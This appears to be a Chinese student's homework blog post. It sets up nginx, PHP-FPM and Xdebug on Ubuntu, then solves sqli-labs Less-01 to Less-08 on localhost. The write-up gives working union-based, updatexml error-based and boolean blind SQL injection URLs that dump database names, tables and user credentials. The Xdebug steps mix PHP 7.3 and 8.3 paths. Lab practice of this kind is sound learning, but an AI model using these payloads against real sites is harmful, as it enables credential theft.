当前位置: 首页 > news >正文

网络安全第一次作业(ubuntuan安装nginx以及php部署 and sql注入(less01-08)))

ubuntuan安装nginx以及php部署

1.安装依赖包

root@admin123-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev

2.安装nginx
到https://nginx.org/en/download.html下载nginx
在这里插入图片描述

之后将压缩包通过xtfp传输到ubuntu的/usr/local/nginx目录下
在这里插入图片描述

root-virtual-machine:/usr/local/nginx#  tar -vxf nginx-1.20.2 tar.gz

3.查看编译环境是否有缺失

root-virtual-machine:/usr/local/nginx/nginx-1.20.2# ./configure

4.编译

root-virtual-machine:/usr/local/nginx/nginx-1.20.2# make && make install 

5.启动nginx

root-virtual-machine:/usr/local/nginx/sbin# ./nginx

6.访问nginx
在这里插入图片描述
7.增加php源地址

root-virtual-machine:~# sudo apt-get install software-properties-common
root-virtual-machine:~# sudo add-apt-repository -y ppa:ondrej/php
root-virtual-machine:~# sudo apt-get install php7.3

8.安装php

root-virtual-machine:~# sudo apt-get install php7.3-mysql php7.3-fpm php7.3-curl php7.3-xml php7.3-gd php7.3-mbstring php-memcached php7.3-zip

9.修改监听端口

root-virtual-machine:/etc/php/7.3/fpm/pool.d# vim www.conf 

在这里插入图片描述
10.启动php-fpm,查看9000端口状况

root-virtual-machine:~# sudo service php7.3-fpm start
root-virtual-machine:~# netstat -lnt | grep 9000

在这里插入图片描述
11.测试

root-virtual-machine:/usr/local/nginx/html# vim web.php

在这里插入图片描述在这里插入图片描述

Debug安装调试

1.VScode远程连接
在这里插入图片描述
2.安装PHP Debug
在这里插入图片描述
在这里插入图片描述
点击 Xdebug installation wizard 进入网站
在这里插入图片描述
将web.php的信息复制粘贴
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(1)

root-virtual-machine:~# wget https://xdebug.org/files/xdebug-3.3.2.tgz

(2)

root-virtual-machine:~# apt-get install php7.3-dev autoconf automake

(3)

root-virtual-machine:~# tar -xvzf xdebug-3.3.2.tgz

(4)

root-virtual-machine:~# cd xdebug-3.3.2

(5)

root-virtual-machine:~# phpize

在这里插入图片描述
(6)

root-virtual-machine:~/xdebug-3.3.2# ./configure

(7)

root-virtual-machine:~/xdebug-3.3.2# make

(8)

root-virtual-machine:~/xdebug-3.3.2# cp modules/xdebug.so /usr/lib/php/20230831/

(9)

root-virtual-machine:~/xdebug-3.3.2# vim /etc/php/8.3/fpm/conf.d/99-xdebug.ini

在这里插入图片描述
在这里插入图片描述
(10)

root-virtual-machine:~/xdebug-3.3.2# service php7.3-fpm restart 

sql注入 安装靶场

下载靶场解压到phpstudu_pro/WWW
在这里插入图片描述
在这里插入图片描述
更改数据库配置文件
在这里插入图片描述
登入靶场
在这里插入图片描述
Setup/reset Database for labs
在这里插入图片描述
Less01
在这里插入图片描述

sql注入流程
1.寻找注入点

http://localhost/sqliabs/Less-1/?id=1

在这里插入图片描述
2.判断是数字型还是字符型
在这里插入图片描述
在这里插入图片描述
字符型

3.判断闭合方式

http://localhost/sqliabs/Less-1/?id=1'

在这里插入图片描述
在这里插入图片描述
单引号闭合

4.验证输入的内容数据库是否执行,是否存在sql漏洞
若:

http://localhost/sqliabs/Less-1/?id=1’ and 1=1 --+

有显示
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' and 1=2 --+

无显示
在这里插入图片描述
则存在漏洞

5.判断列数

http://localhost/sqliabs/Less-1/?id=1' order by 10 --+

报错,说明没有10列
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' order by 3 --+

没有报错,说明有3列在这里插入图片描述

6.联合查询,判断回显位

http://localhost/sqliabs/Less-1/?id=-1' union select 1,2,3 --+

在这里插入图片描述
2,3说明联合查询中的第2第3位的数据会显示到Your Login name和Your Password后
在这里插入图片描述

7.查数据库名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,database(),3 --+

在这里插入图片描述
数据库名:security

8.查表名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+

在这里插入图片描述
四张表:emails referers uagents users

9.查列名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+

在这里插入图片描述
三个列名:id username password

10.查具体数据

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(username)from users),(select group_concat(password)from users) --+

在这里插入图片描述
查出账号密码,成功通关。

Less-02~04通过方式与Less-01基本无异,只是闭合方式不同
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Less-05
在这里插入图片描述
没有回显位,无法使用联合注入,可以使用报错注入
在这里插入图片描述
查数据库

http://localhost/sqliabs/Less-5/?id=-1' union select updatexml(1,concat('~',(select database()),'~'),1) --+

在这里插入图片描述
数据库名:security

查表名

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security'),'~'),1),3 --+

在这里插入图片描述
四张表:emails referers uagents users

查列名

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),'~'),1),3 --+

在这里插入图片描述
三个列名:id username password

查账号密码

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(username)from users),'~'),1),3 --+
http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(password)from users),'~'),1),3 --+

在这里插入图片描述
在这里插入图片描述

成功通过。

Less-06~07和Less-05通过方式基本无异,只是闭合方式不同

Less-08
在这里插入图片描述错误不显示
但是存在真假值,输入正确显示“You are in……”,输入错误无显示

http://localhost/sqliabs/Less-8/?id=1' and 1=1 --+

在这里插入图片描述

http://localhost/sqliabs/Less-8/?id=1' and 1=2 --+

在这里插入图片描述
使用布尔型盲注:
在这里插入图片描述
使用length()函数盲注数据库名长度

http://localhost/sqliabs/Less-8/?id=1' and length(database())>10 --+

在这里插入图片描述

无回显,错误,数据库名长度小于10

http://localhost/sqliabs/Less-8/?id=1' and length(database())=8 --+

在这里插入图片描述
有回显,正确,多次尝试确定数据库名长度为8

使用substr函数来判断数据库名的每一位分别是什么,通过变化ascii(substr(database(),x,1))中x的值我们可以确定每一位的具体值

http://localhost/sqliabs/Less-8/?id=1' and ascii(substr(database(),1,1))>70 --+

在这里插入图片描述
比较繁琐,不一一展示,最终确定数据库名为:’security‘

使用left函数,left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)通过变换x和y的值我们可以得到所有的表名

http://localhost/sqliabs/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+

在这里插入图片描述

同理判断列名:

http://localhost/sqliabs/Less-8/?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),8)='username' --+

在这里插入图片描述
同理判断具体用户和密码

http://localhost/sqliabs/Less-8/?id=1' and left((select username from users limit x,1),y)="" --+

过程过于繁琐,不一一展示了

相关文章:

网络安全第一次作业(ubuntuan安装nginx以及php部署 and sql注入(less01-08)))

ubuntuan安装nginx以及php部署 1.安装依赖包 rootadmin123-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev2.安装nginx 到https://nginx.org/en/download.html下载nginx 之后将压缩包通过xtfp传输到ubuntu的/usr/loc…...

【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一)

【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一) 一、setup_mon_len():配置 gd->mon_len 监控长度二、fdtdec_setup() :设备树初始化,配置 gd->fdt_blob 指向uboot镜像末尾的 device tree三、【RK3568未跑】trace_early…...

Mojo AI编程语言(十七)跨平台开发:应用广泛适配

目录 1. Mojo语言简介 2. 跨平台开发的挑战 3. Mojo语言的跨平台特性 3.1 编译器支持 3.2 标准库支持 3.3 抽象层 4. 跨平台开发的最佳实践 4.1 避免平台特定代码 4.2 使用依赖管理工具 4.3 测试覆盖率 5. 高级跨平台开发技巧 5.1 使用容器 5.2 持续交付 5.3 性能…...

Python面试题:结合Python技术,如何使用Astropy进行天文数据处理

Astropy 是一个用于天文学研究的 Python 库,它提供了处理天文数据的多种工具和函数。以下是一些使用 Astropy 进行天文数据处理的示例: 安装 Astropy 首先,需要确保已安装 Astropy,可以使用以下命令进行安装: pip i…...

Jpa-多表关联-OneToOne

Jpa-多表关联-OneToOne 准备JoinColumnOneToOne属性targetEntitycascade*PERSISTMERGEREMOVEREFRESH orphanRemovalfetchoptionalMappedBy* OneToOne在 hibernate中用于对表与表之间进行维护关联 准备 import com.alibaba.fastjson.JSON; import jakarta.persistence.*; impor…...

zdpy+vue3+onlyoffice文档系统实战上课笔记 20240805

上次 上次计划 1、最近文档表格完善 2、实现登录功能 3、新建文件,复制文件,删除文件 4、其他 目前任务:最近文档表格完善 1、在名称前面,渲染这个文档的图标 2、大小的基本的单位是kb,超过1024kb则换成mb&#xff0…...

【Linux 从基础到进阶】Linux 内核参数调优

Linux 内核参数调优 引言 内核参数调优是提升 Linux 系统性能和稳定性的重要手段。通过合理配置和优化内核参数,可以显著改善系统资源利用率和响应速度。本文将介绍内核参数的调优方法,并提供适用于 CentOS 和 Ubuntu 系统的具体示例。 1. 内核参数简介 内核参数是控制 L…...

【Java数据结构】---泛型

乐观学习,乐观生活,才能不断前进啊!!! 我的主页:optimistic_chen 我的专栏:c语言 ,Java 欢迎大家访问~ 创作不易,大佬们点赞鼓励下吧~ 文章目录 包装类装箱和拆箱泛型泛型…...

Java Lambda表达式总结(快速上手图解)

Java Lambda表达式总结(快速上手详解)-CSDN博客https://blog.csdn.net/m0_66070037/article/details/140912566?spm1001.2014.3001.5501...

【算法模板】图论:Tarjan算法求割边割点

概念 割边(Bridge 或 Cut Edge) 定义: 在一个无向连通图中,如果删除某条边后,图不再连通(即任意两点之间不能相互到达),则称该边为割边。割边也被称为桥,因为它像桥梁…...

如何在IDEA上使用JDBC编程【保姆级教程】

目录 前言 什么是JDBC编程 本质 使用JDBC编程的优势 JDBC流程 如何在IEDA上使用JDBC JDBC编程 1.创建并初始化数据源 2.与数据库服务器建立连接 3.创建PreparedStatement对象编写sql语句 4.执行SQL语句并处理结果集 executeUpdate executeQuery 5.释放资源 前言 在…...

linux web系统安装常见问题解决,租房系统为案例

Warning: require(): open_basedir restriction in effect. 一、执行文件权限 网站目录下 open_basedir增加执行路径 二、文件夹权限放行 三、安装基础环境 composer install 四、数据合并 php think migrate:run 20200402094148 AdminUser: migrating 20200402094148 A…...

Linux驱动开发—平台总线模型详解

文章目录 1.平台总线介绍1.1平台总线模型的组成部分1.2平台总线模型的优势 2.使用平台总线模型开发驱动2.1注册platform设备2.2注册platform驱动2.3效果演示 1.平台总线介绍 Linux 平台总线模型(Platform Bus Model)是一种设备驱动框架,用于…...

说一下网络层,传输层,数据链路层做什么的,之间的关系?

网络层主要负责为数据包选择最佳路径,将数据从源主机传输到目标主机。它的关键任务包括路由选择、拥塞控制和网络互联等。通过网络层的功能,不同网络之间能够实现通信和数据传输。 传输层的作用是在源端和目的端之间提供可靠或不可靠的端到端的数据传输…...

解锁AI新纪元:Milvus Cloud与Zilliz Cloud的高可用之道

在当今数字化时代,系统的持续稳定运行与数据的即时访问性已成为衡量技术服务质量的关键指标。面对复杂多变的运行环境,包括电力波动、网络故障乃至人为操作失误等不可预见因素,数据库系统的高可用性(High Availability, HA)成为了保障业务连续性的重要基石。特别是在大数据…...

svn安装

579 ​​yum install subversion 580 rpm -qa|grep subversion 581 yum -y install subversion 582 rpm -ql subversion 583 /usr/bin/svnversion --version 584 mkdir /data/svnrepos 585 svnadmin create /data/svnrepos/abc 586 svnadmin create /data/svnrepos/gzss 587 cd…...

【隐私计算篇】混淆电路之深入浅出

入门隐私计算的阶段,一般都会涉及对于混淆电路的学习,这是因为混淆电路是多方安全计算中的基础密码原语,也是隐私保护中重要的技术。为了帮助更好地理解混淆电路的原理,今天对其进行原理以及相关优化手段进行解析和分享。 1. 混淆…...

基于GRU神经网络的微博分类预测

目录 背影 摘要 LSTM的基本定义 LSTM实现的步骤 gru的原理 GRU神经网络微博分类 结果分析 展望 参考论文 背影 传统的方法微博分类预测准确率低,为提高精度,本文用gru进行预测 摘要 LSTM原理,GRU原理,MATALB编程gru的微博分类预测 LSTM的基本定义 LSTM是一种含有LST…...

LVS-DR模式集群:案例与概念

DR模式(直接路由) 概念 Direct Routing,简称DR模式采用半开放式的网络结构,与TUN模式的结构类似,但内网服务器并不是分散在各地,而是与调度器位于同一个物理网络负载调度器与内网服务器通过本地网络连接&a…...

拓扑排序:Kahn算法与DFS算法

引言 拓扑排序是有向无环图(DAG)中的一种线性排序,使得对于图中的每一条有向边 ( u \rightarrow v ),顶点 ( u ) 在排序中出现在顶点 ( v ) 之前。本文将详细介绍两种实现拓扑排序的算法:Kahn算法和基于深度优先搜索&…...

D3KeyHelper:暗黑3玩家的智能按键助手,告别重复操作疲劳

D3KeyHelper:暗黑3玩家的智能按键助手,告别重复操作疲劳 【免费下载链接】D3keyHelper D3KeyHelper是一个有图形界面,可自定义配置的暗黑3鼠标宏工具。 项目地址: https://gitcode.com/gh_mirrors/d3/D3keyHelper 你是否曾在《暗黑破坏…...

SAP-ABAP:变量、常量、结构与内表声明(10篇博客合集) 第五篇:声明时的键值设计技巧:结构与内表的主键、非主键配置指南

变量、常量、结构与内表声明(10篇博客合集) 第五篇:声明时的键值设计技巧:结构与内表的主键、非主键配置指南如果把内表比作一张内存中的“数据库表”,那么键就是这张表的索引甚至主键。键的设计直接决定了数据的唯一性…...

[智能体-81]:工程化智能体 = 模型做脑力拆解 + 框架做流程落地。前者是决策者,后者是管理者,tools/function call是内部员工;mcp server是外部资源;

一、全角色人设 & 对应技术组件角色定位对应技术模块核心职责决策者(脑力大脑)大模型 LLM理解目标、任务拆解、逻辑判断、分支决策、内容生成,负责 “想方案、定步骤”管理者(流程总管)智能体编排框架(…...

基于GSM与Arduino的远程控制系统:DIY电话控制与短信报警方案

1. 项目概述与核心价值如果你曾经想过,在离家几十公里外,仅凭一部普通的手机,就能远程打开家里的车库门、查看门窗是否关好,甚至在异常情况发生时让系统自动打电话给你报警,那么这个基于GSM的远程控制系统项目&#xf…...

别再只用递归了!用C语言栈实现非递归快速排序,内存效率提升实战

从递归到迭代:C语言栈实现非递归快速排序的工程实践 在嵌入式开发和大规模数据处理场景中,递归实现的快速排序常常面临栈溢出风险。当排序10万个元素的数组时,递归深度可能达到log₂100000≈17层,在仅有2KB栈空间的STM32F103上极易…...

终极指南:用D2DX让《暗黑破坏神2》在现代电脑上焕发新生

终极指南:用D2DX让《暗黑破坏神2》在现代电脑上焕发新生 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 还在为经…...

理想二极管控制器:用MOSFET实现毫伏级压降的电源管理方案

1. 理想二极管控制器:告别传统二极管的压降损耗 在电源设计、电池保护、太阳能板并联这些领域里,二极管是个再常见不过的元件。我们用它来防反接、做整流、实现“或”逻辑供电,几乎不假思索。但如果你设计过一个需要处理大电流、低电压的系统…...

Windows 11 LTSC安装微软商店的终极解决方案:3步恢复完整应用生态

Windows 11 LTSC安装微软商店的终极解决方案:3步恢复完整应用生态 【免费下载链接】LTSC-Add-MicrosoftStore Add Windows Store to Windows 11 24H2 LTSC 项目地址: https://gitcode.com/gh_mirrors/ltscad/LTSC-Add-MicrosoftStore LTSC-Add-MicrosoftStor…...

从脚本到系统:设计一个支持插件、限流、重试与监控的 Python 异步爬虫框架

从脚本到系统:设计一个支持插件、限流、重试与监控的 Python 异步爬虫框架 很多人第一次写 Python 爬虫,都是从几十行脚本开始的:requests.get()、BeautifulSoup、for 循环、保存 CSV。它很快,也很有成就感。但真实项目往往不是“…...

概率论:常见分布的期望与方差、中心极限定理、切比雪夫不等式

目录 一、0、1分布 二、二项分布 三、泊松分布 四、均匀分布​ 五、指数分布 六、正态分布 七、中心极限定理及其应用 (1)中心极限定理的定义 (2)使用示例 八、切比雪夫不等式 (1)切比雪夫不…...